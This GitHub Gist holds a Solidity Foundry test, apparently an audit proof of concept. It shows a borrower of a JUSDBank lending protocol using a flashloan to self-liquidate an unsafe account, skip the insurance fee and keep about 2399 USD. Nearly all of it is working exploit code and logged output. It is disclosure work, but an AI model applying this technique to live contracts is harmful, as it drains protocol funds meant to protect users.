Last active
May 9, 2023 18:26
-
-
Save bzpassersby/dbb2a004b2d9a573f413fa4735d1d6ec to your computer and use it in GitHub Desktop.
When a borrower's account becomes unsafe, they can call flashloan function to self-liquidate the account, making a profit without paying the insurance fee.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity ^0.8.9; | |
import "./JUSDBankInit.t.sol"; | |
import "../mocks/MockChainLink900.sol"; | |
import "../../src/utils/JUSDError.sol"; | |
import "../../src/Impl/flashloanImpl/FlashLoanLiquidate.sol"; | |
contract SelfLiquidateFlashLoanTest is JUSDBankInitTest { | |
/**When a borrower's account becomes unsafe, they can call flashloan function to self-liquidate the account, making a profit without | |
* paying the insurance fee. The under collateralized borrower will be able to leverage all of their collateral through the flashloan | |
* to sell their collaterals the similar way as liquidators do. | |
* They can sell the collaterals at an optimal price to gain profit. | |
* The protocol would lose on insurance fee protection. | |
* | |
* Reserve setting: | |
* jusdBank.initReserve( | |
// token | |
address(mockToken1), | |
// initialMortgageRate | |
8e17, | |
// maxDepositAmount | |
4000e18, | |
// maxDepositAmountPerAccount | |
2030e18, | |
// maxBorrowValue | |
100000e6, | |
// liquidateMortgageRate | |
825e15, | |
// liquidationPriceOff | |
5e16, | |
// insuranceFeeRate | |
1e17, | |
address(jojoOracle1) | |
); | |
*/ | |
function test_flashLoan_self_Liquidate_no_fee_paid() public { | |
mockToken1.transfer(alice, 10 * ONE); | |
vm.startPrank(alice); | |
mockToken1.approve(address(jusdBank), 10 * ONE); | |
jusdBank.deposit(alice, address(mockToken1), 10 * ONE, alice); //Alice deposited 10e18 mockToken1 | |
vm.warp(1000); | |
jusdBank.borrow(7600e6, alice, false); | |
require(jusdBank.getBorrowBalance(alice) == 7600e6); //Alice borrowed maxBorrowAmount JUSD and account is safe after borrow | |
vm.stopPrank(); | |
vm.warp(2000); | |
MockChainLink900 eth900 = new MockChainLink900(); | |
JOJOOracleAdaptor jojoOracle900 = new JOJOOracleAdaptor( | |
address(eth900), | |
20, | |
86400, | |
address(usdcPrice) | |
); | |
jusdBank.updateOracle(address(mockToken1), address(jojoOracle900)); | |
swapContract.addTokenPrice(address(mockToken1), address(jojoOracle1)); | |
require(jusdBank.isAccountSafe(alice) == false); ////Alice account is not safe, and can be liquidated. | |
//init flashloanRepay | |
FlashLoanLiquidate flashLoanLiquidate = new FlashLoanLiquidate( | |
address(jusdBank), | |
address(jusdExchange), | |
address(USDC), | |
address(jusd), | |
insurance | |
); | |
bytes memory data = swapContract.getSwapData( | |
10e18, | |
address(mockToken1) | |
); | |
bytes memory param = abi.encode( | |
swapContract, | |
swapContract, | |
address(alice), | |
data | |
); | |
// liquidate | |
vm.startPrank(alice); | |
uint256 aliceBorrow = jusdBank.getBorrowBalance(alice); | |
console.log(aliceBorrow); | |
FlashLoanLiquidate.LiquidateData memory liq = FlashLoanLiquidate | |
.LiquidateData({ | |
actualCollateral: 10e18, | |
insuranceFee: 0, | |
actualLiquidatedT0: 0, | |
actualLiquidated: aliceBorrow, | |
liquidatedRemainUSDC: 0 | |
}); | |
bytes memory jojoFlashParam = abi.encode(liq, param); | |
jusdBank.flashLoan( | |
address(flashLoanLiquidate), | |
address(mockToken1), | |
10e18, | |
address(alice), | |
jojoFlashParam | |
); | |
vm.stopPrank(); | |
aliceBorrow = jusdBank.getBorrowBalance(alice); | |
uint256 aliceDeposit = jusdBank.getDepositBalance( | |
address(mockToken1), | |
alice | |
); | |
uint256 insuranceUSDC = IERC20(USDC).balanceOf(insurance); | |
console.log(insuranceUSDC); | |
//log:0 Alice didn't pay insurance fees to the protocol | |
uint256 aliceUSDC = IERC20(USDC).balanceOf(alice); | |
console.log(aliceUSDC); | |
//log: 2399995181 (roughly 2399 usd) Alice earned 2399 usd by self-liquidating | |
assertEq(jusdBank.isAccountSafe(alice), true); ////Alice self-liquidated | |
assertEq(aliceBorrow, 0); ////Alice self-liquidated | |
assertEq(aliceDeposit, 0); ////Alice's collateral is 0 | |
assertEq(jusdBank.getUserCollateralList(alice).length, 0); ////Alice's collateral list is empty | |
assertEq( | |
jusdBank.getIfHasCollateral(alice, address(mockToken1)), | |
false | |
); ////Alice's collateral list is empty | |
assertEq(insuranceUSDC, 0); ////No insurance fee paid! | |
assertEq(aliceUSDC > 0, true); ////Alice made a profit self-liquidating | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment